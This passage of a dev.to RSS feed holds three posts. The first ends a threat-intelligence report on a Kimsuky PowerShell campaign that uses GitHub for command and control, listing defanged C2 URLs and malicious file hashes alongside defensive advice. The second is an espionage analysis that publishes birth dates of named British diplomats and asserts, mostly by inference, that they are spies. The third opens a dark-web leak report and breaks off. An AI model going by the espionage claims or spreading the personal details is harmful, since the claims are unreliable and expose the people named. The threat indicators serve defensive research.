  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3cz9hphimvpt0ap47bq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3cz9hphimvpt0ap47bq.png" alt="PowerShell script for C2 communication" width="468" height="307"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;PowerShell script for C2 communication&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wrtj9rywrsoeb48ifwl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wrtj9rywrsoeb48ifwl.png" alt="PowerShell script from GitHub C2" width="468" height="200"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;PowerShell script from GitHub C2&lt;/em&gt;
&lt;/p&gt;



&lt;h3&gt;
  
  
  Connection to Previous Campaigns
&lt;/h3&gt;

&lt;p&gt;Fortinet notes that earlier iterations of this activity delivered the &lt;strong&gt;Xeno RAT&lt;/strong&gt; malware family. Similar GitHub-based C2 usage for distributing Xeno RAT and its variant &lt;strong&gt;MoonPeak&lt;/strong&gt; was previously reported by ENKI and Trellix, both attributing the activity to &lt;strong&gt;Kimsuky&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyn5nnyajgo4fmvltjvp4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyn5nnyajgo4fmvltjvp4.png" alt="Attack chain" width="800" height="308"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Attack chain&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;This disclosure coincides with AhnLab’s report on a similar LNK-based infection chain by Kimsuky that ultimately deploys a &lt;strong&gt;Python-based backdoor&lt;/strong&gt;. In that variant, the LNK executes PowerShell which creates a hidden folder &lt;code&gt;C:\windirr&lt;/code&gt;, drops decoy documents, and uses Dropbox as an interim C2 before downloading ZIP fragments from &lt;code&gt;quickcon[.]store&lt;/code&gt; to deploy an XML Scheduled Task and the final Python implant.&lt;/p&gt;

&lt;p&gt;The Python backdoor supports downloading additional payloads and executing commands such as running shell scripts, listing directories, uploading/downloading/deleting files, and executing BAT, VBScript, or EXE files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Related TTP Evolution
&lt;/h3&gt;

&lt;p&gt;These findings also align with observations from ScarCruft (another DPRK-linked group), which has shifted from traditional LNK → BAT → shellcode chains to &lt;strong&gt;HWP OLE-based droppers&lt;/strong&gt; for delivering &lt;strong&gt;RokRAT&lt;/strong&gt; — a remote access trojan exclusively used by North Korean hacking groups.&lt;/p&gt;

&lt;h3&gt;
  
  
  URLs
&lt;/h3&gt;

&lt;p&gt;hxxps://raw[.]githubusercontent[.]com/motoralis/singled/main/kcca/paper[.]jim&lt;/p&gt;

&lt;p&gt;hxxps://api[.]github[.]com/repos/motoralis&lt;/p&gt;

&lt;h3&gt;
  
  
  SHA256
&lt;/h3&gt;

&lt;p&gt;af0309aa38d067373c54b2a7774a32f68ab72cb2dbf5aed74ac784b079830184 TRAMS WINBOT AI Strategic Proposal.pdf.lnk&lt;/p&gt;

&lt;p&gt;9c3f2bd300ad2ef8584cc48adc47aab61bf85fc653d923e106c73fc6ec3ea1dc 전략적 파트너십 상세 제안서.pdf.lnk&lt;/p&gt;

&lt;p&gt;f20fde3a9381c22034f7ecd4fef2396a85c05bfd54f7db3ad6bcd00c9e09d421 상세 제안서 — 미래에셋 X AYC Fund.pdf.lnk&lt;/p&gt;

&lt;p&gt;484a16d779d67c7339125ceac10b9abf1aa47f561f40058789bfe2acda548282 CONFIDENTIAL IOTRUST OFFER.pdf.lnk&lt;/p&gt;

&lt;p&gt;c0866bb72c7a12a0288f434e16ba14eeaa35d3c4cff4a86046c553c15679c0b5 (CONFIDENTIAL) AIN x Mine Korea 2026.pdf.lnk&lt;/p&gt;

&lt;h3&gt;
  
  
  Researcher Comments
&lt;/h3&gt;

&lt;p&gt;Security researcher &lt;strong&gt;Cara Lin&lt;/strong&gt; from Fortinet stated:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Threat actors are moving away from complex custom malware and instead leveraging native Windows tools for deployment, evasion, and persistence. By minimizing the use of PE files and heavily relying on LOLBins, attackers can target a broad audience with significantly lower detection rates.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Strengthen email security gateways with advanced LNK and PowerShell inspection&lt;/li&gt;
&lt;li&gt;Monitor abnormal access to GitHub, Dropbox, and other cloud repositories from endpoints&lt;/li&gt;
&lt;li&gt;Implement strict application whitelisting and behavioral monitoring for scheduled tasks&lt;/li&gt;
&lt;li&gt;Enable enhanced logging for PowerShell execution (Script Block Logging, Module Logging)&lt;/li&gt;
&lt;li&gt;Regularly hunt for suspicious GitHub accounts and repositories with high-frequency commits from compromised environments&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;This campaign once again demonstrates how nation-state actors continue to innovate by abusing trusted platforms and living-off-the-land techniques to evade traditional security controls.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Analysis based on reporting from FortiGuard Labs, AhnLab, and open-source intelligence as of April 2026.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kimsuky</category>
      <category>c2</category>
      <category>cybersecurity</category>
      <category>powershell</category>
    </item>
    <item>
      <title>Analysis of Russia’s Expulsion of British Diplomats: The Shifting Battlefield of the UK-Russia Intelligence War</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Wed, 08 Apr 2026 03:46:01 +0000</pubDate>
      <link>https://dev.to/excalibra/analysis-of-russias-expulsion-of-british-diplomats-the-shifting-battlefield-of-the-uk-russia-1cgi</link>
      <guid>https://dev.to/excalibra/analysis-of-russias-expulsion-of-british-diplomats-the-shifting-battlefield-of-the-uk-russia-1cgi</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb60l01pbgm4bipcba27m.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb60l01pbgm4bipcba27m.jpg" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This in-depth analysis examines the recent Russian expulsions of British diplomats, exposing a core shift in the UK-Russia intelligence confrontation and its strategic implications. The piece focuses on three key figures — Michael Skinner, Tabassum Parveen Rashid, and Albertus Gerardus Janse van Rensburg — dissecting their roles within the British intelligence network. Skinner leveraged his spouse status for financial intelligence assessment, van Rensburg attempted to penetrate Russian economic expert circles, while Rashid served as the critical hub connecting the two. Behind the incidents lies Britain’s pivot toward targeting Russia’s economic resilience. Russia, through high-profile expulsions and the public release of evidence, aims to systematically cripple the UK’s intelligence network in Russia and sever its human intelligence (HUMINT) channels. In the future, the intelligence contest between the two sides is expected to drive even more covert technical surveillance and remote penetration methods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Categories:&lt;/strong&gt; Threat Intelligence, Social Engineering, Red Teaming, Malware, CTF&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Russia’s Expulsion of British Diplomats: An In-Depth Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recently, the Russian Federal Security Service (FSB) has launched a series of high-profile and highly disruptive counterintelligence operations against the British Embassy in Moscow. The climax of these actions came in two major expulsion incidents spaced one year apart:&lt;/p&gt;

&lt;p&gt;In March 2025, Michael Skinner — spouse of Tabassum Parveen Rashid, First Secretary in the Political Section of the British Embassy in Russia — along with Second Secretary Alkesh Odedra, were ordered to leave the country.&lt;br&gt;&lt;br&gt;
Then, at the end of March 2026, Albertus Gerardus Janse van Rensburg, the new Second Secretary who had only arrived in Moscow in September 2025, was also expelled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Albertus Gerardus Janse van Rensburg: The “Economic Scout” with an Extremely Short Tenure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Following a wave of intensive expulsions from late 2024 to early 2025, the British Embassy in Moscow suffered a massive vacuum in its intelligence collection and analysis capabilities. Born on January 6, 1996, the then-under-30 Albertus Gerardus Janse van Rensburg was rushed into this brutal battlefield in Moscow as fresh blood.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnq2p647cj0togeho63xv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnq2p647cj0togeho63xv.png" alt=" " width="251" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Van Rensburg officially arrived in Moscow in September 2025 to take up the post of Second Secretary. Compared to the more experienced and complex-background Skinner, the younger van Rensburg represented a new, perhaps more aggressive generation within Britain’s intelligence and diplomatic apparatus. However, the portfolio he inherited was an extremely high-risk and wide-ranging package.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu3fmf7bi01sfoby8the8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu3fmf7bi01sfoby8the8.png" alt=" " width="800" height="629"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On March 30, 2026, the FSB ended van Rensburg’s brief Moscow career with thunderous force, accusing him of engaging in “serious economic espionage and subversive intelligence activities that gravely threaten Russia’s national security.” Unlike the relatively restrained statement issued during the Skinner incident, Russia this time adopted an extremely public and humiliating media exposure strategy.&lt;/p&gt;

&lt;p&gt;Russian intelligence agencies claimed that van Rensburg had attempted, during a series of “informal meetings” in Moscow, to extract sensitive or even classified data on Russia’s macroeconomic situation from local economic experts and industry insiders. To substantiate the accusation, the FSB released extensive video evidence obtained through widespread surveillance, photography, and recording, which was broadcast nationwide and globally on Russian state television (such as Rossiya 24). The footage meticulously documented the British diplomat’s covert activities, completely destroying his diplomatic cover.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw58n4g3tk83t8jwb24uk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw58n4g3tk83t8jwb24uk.png" alt=" " width="623" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Specific documented contacts included:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In October 2025, a meeting in a Moscow café with Oleg Buklemishev, Associate Professor in the Department of Macroeconomic Policy and Strategic Management at Lomonosov Moscow State University.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggdevwztt880kr5nsyf7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggdevwztt880kr5nsyf7.png" alt=" " width="674" height="505"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The following month, contact with Elena Kabysh, an employee of ING Bank and liaison expert with the Russian-American Chamber of Commerce.&lt;/li&gt;
&lt;li&gt;In March 2026, he was photographed during an official visit to a research institute of the Russian Academy of Sciences focused on integrated development of mineral resources.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Van Rensburg was frequently seen together with Tabassum Parveen Rashid, First Secretary in the Political Section — whose husband, Michael Skinner, had been expelled in March 2025.&lt;/p&gt;

&lt;p&gt;This focus on “economic espionage” charges reveals the central shift in the current UK-Russia intelligence war. Since the Russia-Ukraine conflict became protracted, the Russian government has imposed strict data lockdowns. Core economic indicators — real inflation rates, critical supply chain bottlenecks, financing channels for the military-industrial complex, and the operational mechanisms of the “shadow fleet” used to evade sanctions — have been elevated to the highest level of state secrets. Britain urgently needs to penetrate this digital fog through human intelligence (HUMINT). Van Rensburg’s mission was precisely to identify vulnerabilities in these economic dimensions. His contacts with economic experts were essentially collecting calibration data for London to optimize the next round of maximum economic sanctions, particularly targeting Russia’s energy export networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Michael Skinner: The Covert Operator with Deep Sanctions and Tax Investigation Background&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In modern counterintelligence practice, a target’s professional history is often the primary indicator for assessing the nature of their mission and the value of their intelligence assets. The FSB’s precise dismantling of Michael Skinner exposed the Russian counterintelligence apparatus’s deep penetration into the backgrounds of British personnel abroad. Skinner was not an ordinary administrative diplomat but a professional intelligence and policy coordination operator with a strong economic warfare background.&lt;/p&gt;

&lt;p&gt;According to extensive background tracing and official records, Michael Skinner (born June 30, 1992) was officially listed as the accompanying spouse of Tabassum Parveen Rashid when he was expelled in March 2025. This identity, however, was merely a façade for his real capabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpckofxmtcp3qbqbjx0z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpckofxmtcp3qbqbjx0z.png" alt=" " width="800" height="1025"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After completing a senior posting in the EU at the end of 2024, Skinner entered Moscow in the low-profile role of “diplomatic spouse.” This arrangement itself carried strong tactical intent. The FSB’s accusation that he was a key component of an “undeclared British intelligence network” was far from baseless. Given his background in handling extreme sanctions policy in the EU and his financial tracking experience at His Majesty’s Revenue and Customs (HMRC), Skinner’s actual strategic function in Moscow was most likely that of an undeclared financial intelligence asset. Using his spouse cover to stay outside formal diplomatic scrutiny, he quietly assessed the real impact of Western joint economic sanctions on the Russian domestic economy, tracked underground financial flows used to evade sanctions, and provided critical on-the-ground assessment data for London’s next phase of economic warfare — particularly precision strikes against Russia’s energy export lifelines.&lt;/p&gt;

&lt;p&gt;On March 10, 2025, the FSB took decisive action, announcing the revocation of diplomatic accreditation for both Skinner and Second Secretary Alkesh Odedra (born December 25, 1990), ordering them to leave Russian territory within two weeks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvjjf8hsy1df4equ9yin2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvjjf8hsy1df4equ9yin2.png" alt=" " width="540" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the official statement, Russia accused the two British nationals of “deliberately providing false personal background data when applying for entry permission, thus openly violating Russian federal law.” At the same time, authorities claimed to have found “substantial evidence” of their involvement in “reconnaissance and subversive activities threatening the national security of the Russian Federation.”&lt;/p&gt;

&lt;p&gt;For observers familiar with counterintelligence legal operations, “providing false visa information” is the most commonly used tactical legal lever by host-country counterintelligence agencies. It usually means Russian intelligence has obtained concrete proof that Skinner concealed his service history with HMRC or intelligence agencies. Through this administrative violation charge, Russia could swiftly sever this intelligence tentacle without immediately triggering a full public espionage trial, thereby avoiding total loss of control over bilateral tensions.&lt;/p&gt;

&lt;p&gt;In this incident, the FSB expressed strong outrage at Britain’s “spousal cover” tactic. Russian state media and senior counterintelligence officials anonymously accused London on multiple occasions of “dispatching spy networks disguised as diplomatic spouses, even using young children as cover for espionage activities,” and slammed the behavior as “throwing any remaining diplomatic courtesy to the wind.” Since formally accredited diplomats usually face extremely tight physical and electronic surveillance, intelligence agencies often assign high-value liaison and dead-drop operations to diplomatic family members who are not subject to the same level of monitoring. Skinner was clearly a key node in this cover network. His exposure marked a major setback for Britain’s covert operations architecture in Russia.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tabassum Parveen Rashid: The Central Hub of the Embassy’s Political Section&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Throughout the escalation and evolution of the entire affair, Tabassum Parveen Rashid stood at the absolute center of the storm. As the legitimate spouse of Michael Skinner and holder of the key position of First Secretary in the Political Section of the British Embassy in Moscow, Rashid structurally served as the bridge between official diplomatic cover and covert intelligence operations.&lt;/p&gt;

&lt;p&gt;In any major country’s overseas mission, the Political Section is always the most sensitive department after the secret intelligence station. Its core mission is not handling routine bilateral visas or trade contracts, but penetrating the political fabric of the host country. As First Secretary, Rashid’s daily work necessarily involved building and maintaining extensive contacts with mid-level Russian government officials, economic think-tank scholars, remaining opposition forces, and civil society leaders. Through these channels, she was expected to analyze power dynamics within the Russian leadership, undercurrents of social sentiment, and the internal logic of policy formulation, then send high-level political assessments back to Whitehall in London.&lt;/p&gt;

&lt;p&gt;Although the FSB surgically removed her husband Skinner during its high-pressure operation in March 2025, Rashid herself appeared to retain her diplomatic immunity for a period thanks to her formal senior diplomat status and continued to perform her duties in Moscow. However, this temporary safety could not hide one fact: she had become a core node under the FSB’s “all-weather surveillance network.”&lt;/p&gt;

&lt;p&gt;In this intelligence network, Rashid effectively functioned as the central hub. After her spouse Michael Skinner — the covert intelligence asset — was completely expelled in March 2025, the British Embassy’s local contact network faced the risk of rupture. When the new intelligence collector Albert van Rensburg arrived in Moscow in September 2025, he had to rapidly take over the destroyed operational network. At this point, Rashid played a critical mentoring and guiding role. After frequent contact and joint operations with Rashid, van Rensburg inherited her wide network of Russian targets (especially in the economic expert community). However, this also caused him to quickly fall into the comprehensive surveillance net that the FSB had already cast around Rashid. This high-frequency intersection in both space and responsibilities directly led to van Rensburg’s subsequent exposure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Escalating Diplomatic Retaliation Cycle and Psychological Deterrence Tactics&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To fully assess the profound impact of the incidents involving these three individuals, they must be examined within the context of the “tit-for-tat” diplomatic retaliation cycle between Britain and Russia over the past two years. Viewed in isolation, these are separate actions against spy networks; strung together, they form a complete tactical confrontation panorama on the brink of great-power diplomatic rupture.&lt;/p&gt;

&lt;p&gt;The timeline reveals the continuous escalation of the UK-Russia intelligence war. Each expulsion is typically met with retaliatory legal or political measures from the other side. The cases of Skinner and van Rensburg represent the continuation of Russia’s strategy of systematically purging key intelligence personnel from the British Embassy in Moscow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3cn9esjdny77mm6aq9q1.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3cn9esjdny77mm6aq9q1.jpg" alt=" " width="784" height="1168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The starting point of this intense wave of expulsions can be traced to the second half of 2024. In September 2024, Russia publicly accused six British diplomats in Moscow of espionage, revoked their accreditation, and openly declared that British covert activities had become “completely out of control.” Just two months later in November, another British diplomat was expelled for alleged reconnaissance and subversive activities.&lt;/p&gt;

&lt;p&gt;The situation deteriorated further in early 2025, with the trigger shifting to British soil. British courts issued guilty verdicts against a spy network operating in the UK on behalf of Russia. The network reportedly consisted of three Bulgarian citizens directed by Jan Marsalek, the fugitive former Wirecard executive and notorious grey-zone financial operator now based in Russia. This judicial ruling delivered a substantial blow to Russian intelligence operations in Europe. In retaliation, Russia launched more targeted removal operations.&lt;/p&gt;

&lt;p&gt;Before Skinner’s expulsion, a British Foreign Office spokesperson issued a strongly worded statement on the deterioration of bilateral relations, accusing Russia of conducting an “increasingly aggressive and coordinated campaign of harassment against British diplomats” and claiming that Russian accusations were entirely fabricated. Senior British officials, including high-level diplomats, even summoned the Russian Ambassador in London to state firmly that Britain would not tolerate intimidation of its embassy staff and families. As a countermeasure, Britain immediately revoked the accreditation of one Russian diplomat and their spouse. This chain of confrontations directly paved the way for Michael Skinner’s expulsion in March 2025 and the subsequent explosion of the van Rensburg incident in 2026. British official responses to Russia’s accusations consistently described them as “absolutely unacceptable” and “malicious, groundless fabrications.”&lt;/p&gt;

&lt;p&gt;Behind these complex accusations and media battles, the FSB’s fundamental strategic objective has become crystal clear: to impose complete “blindness” and “radioactive isolation” on the British diplomatic system in Russia.&lt;/p&gt;

&lt;p&gt;When the FSB issued a naked public warning during van Rensburg’s expulsion — “To avoid negative consequences, including criminal liability, the FSB advises fellow citizens not to hold meetings with British diplomats” — this went far beyond simple counterintelligence and became a state-level social isolation operation. Combined with the Russian Foreign Ministry’s 15-minute stern protest to British Chargé d’Affaires Danae Dholakia, these measures created a powerful chilling effect within Russian society.&lt;/p&gt;

&lt;p&gt;Russia’s logic is straightforward: by successively decapitating personnel with professional financial backgrounds (like Skinner) and those with active grassroots contact networks (like van Rensburg), it has directly paralyzed the nerve endings of MI6 and the British Foreign Office in Moscow. At the same time, the public warnings have turned remaining British diplomats such as Rashid into walking “radioactive sources.” Under current Russian domestic legal frameworks, any Russian citizen, economist, or scholar engaging in unofficial contact with them faces extremely high risk of being charged with “treason” or “secret cooperation with foreign organizations.” This strategy has successfully confined British diplomatic personnel within the physical boundaries of the embassy, cutting off all valuable human intelligence channels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategic Implications and Future Trends&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A detailed examination and correlation analysis of Michael Skinner, Tabassum Parveen Rashid, and Albertus Gerardus Janse van Rensburg reveals the breakdown of diplomatic cover and intelligence reconnaissance mechanisms in modern great-power competition. This incident is not a sporadic consular friction but a microcosm of the life-and-death strategic contest between Britain and Russia in core interest areas.&lt;/p&gt;

&lt;p&gt;From the analysis, it is clear that the diplomatic intelligence battlefield in Russia has undergone a fundamental thematic shift. From Skinner’s sanctions design and tax tracking role to van Rensburg’s attempt to build an economic expert insider network, Britain’s intelligence requirements have converged heavily on Russia’s economic resilience and wartime financial networks. At a time when traditional political penetration has become exceptionally difficult, obtaining the underlying economic logic behind Russia’s sanctions evasion has become the highest-priority intelligence requirement.&lt;/p&gt;

&lt;p&gt;However, this series of expulsions also signals that the traditional “semi-public intelligence collection model” under embassy protection has suffered a systematic Waterloo in Moscow. The FSB has not only demonstrated its comprehensive dominance in physical tailing, electronic surveillance, and data mining, but by releasing surveillance footage to public media, it has shown that Russia has completely abandoned any pretense of reciprocal diplomatic courtesy. They are willing to sacrifice surface-level diplomatic etiquette to ruthlessly eliminate potential internal penetration threats, while reinforcing the domestic narrative of a “besieged fortress.”&lt;/p&gt;

&lt;p&gt;The British Foreign Office’s accusation that the Russian government is attempting to force the embassy to close entirely through extreme pressure largely reflects the severity of the current situation.&lt;/p&gt;

&lt;p&gt;In the future, this shadow war between Britain and Russia will inevitably force a mandatory evolution in intelligence collection methods. Because the cost and risk of conducting HUMINT operations under diplomatic cover have reached an unacceptable threshold, Western intelligence agencies will be compelled to make profound tactical adjustments. The functions of the Moscow embassy will inevitably shrink further, effectively degenerating into a symbolic institution retaining only minimal liaison channels. At the same time, to fill the intelligence vacuum left by the expulsion of figures like van Rensburg, Britain will rely even more heavily on high-tech reconnaissance, significantly increasing resources devoted to signals intelligence (SIGINT) interception, communications network penetration, and open-source geospatial intelligence (GEOINT). More covert and high-risk “deep cover” agent mechanisms, along with remote reconnaissance of Russian economic interest networks from third countries (such as Central Asia, the Middle East, or the Caucasus), will become the new main battlefield of great-power intelligence offense and defense.&lt;/p&gt;

&lt;p&gt;In this smoke-free war of attrition, the expulsion of diplomats and sanctions are merely the visible tip of the iceberg. A far larger and more destructive contest is silently spreading into the deep ocean of data chains.&lt;/p&gt;




</description>
      <category>threat</category>
      <category>intelligence</category>
      <category>malware</category>
      <category>redteam</category>
    </item>
    <item>
      <title>[CONFIDENTIAL] Leak of RFID and Wireless Application Documents from Sanctioned U.S. Arms Manufacturer Lockheed Martin on the Dark Web</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 30 Mar 2026 20:39:59 +0000</pubDate>
      <link>https://dev.to/excalibra/confidential-leak-of-rfid-and-wireless-application-documents-from-sanctioned-us-arms-2k22</link>
      <guid>https://dev.to/excalibra/confidential-leak-of-rfid-and-wireless-application-documents-from-sanctioned-us-arms-2k22</guid>
      <description>&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt; [CONFIDENTIAL] Leak of RFID and Wireless Application Documents from Sanctioned U.S. Arms Manufacturer Lockheed Martin on the Dark Web&lt;/p&gt;

&lt;p&gt;A threat actor has claimed to be selling a document belonging to U.S. defense industry contractor Lockheed Martin. The file is a confidential technical and project report supplied by GlobeRanger to Lockheed Martin. Its core content revolves around the RFID edge software solution and deployment outcomes developed by GlobeRanger for the U.S. Department of Defense. The document covers the technical architecture of the iMotion platform, system integration schemes, detailed interfacing with existing Department of Defense systems, as well as undisclosed project performance metrics including Department of Defense warehouse operational data, cost-saving statistics, equipment deployment quantities, and related information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Specific Leaked Content (Partial Samples):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The following are example samples of the partially leaked data:&lt;/p&gt;

&lt;p&gt;1.1. Sample Data&lt;br&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3ake9mk4yayp0zvdmp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3ake9mk4yayp0zvdmp.png" alt=" " width="692" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.2. Sample Data&lt;br&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi8rnftu85lmdtciavyx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi8rnftu85lmdtciavyx.png" alt=" " width="692" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.3. Sample Data&lt;br&gt;&lt;br&gt;
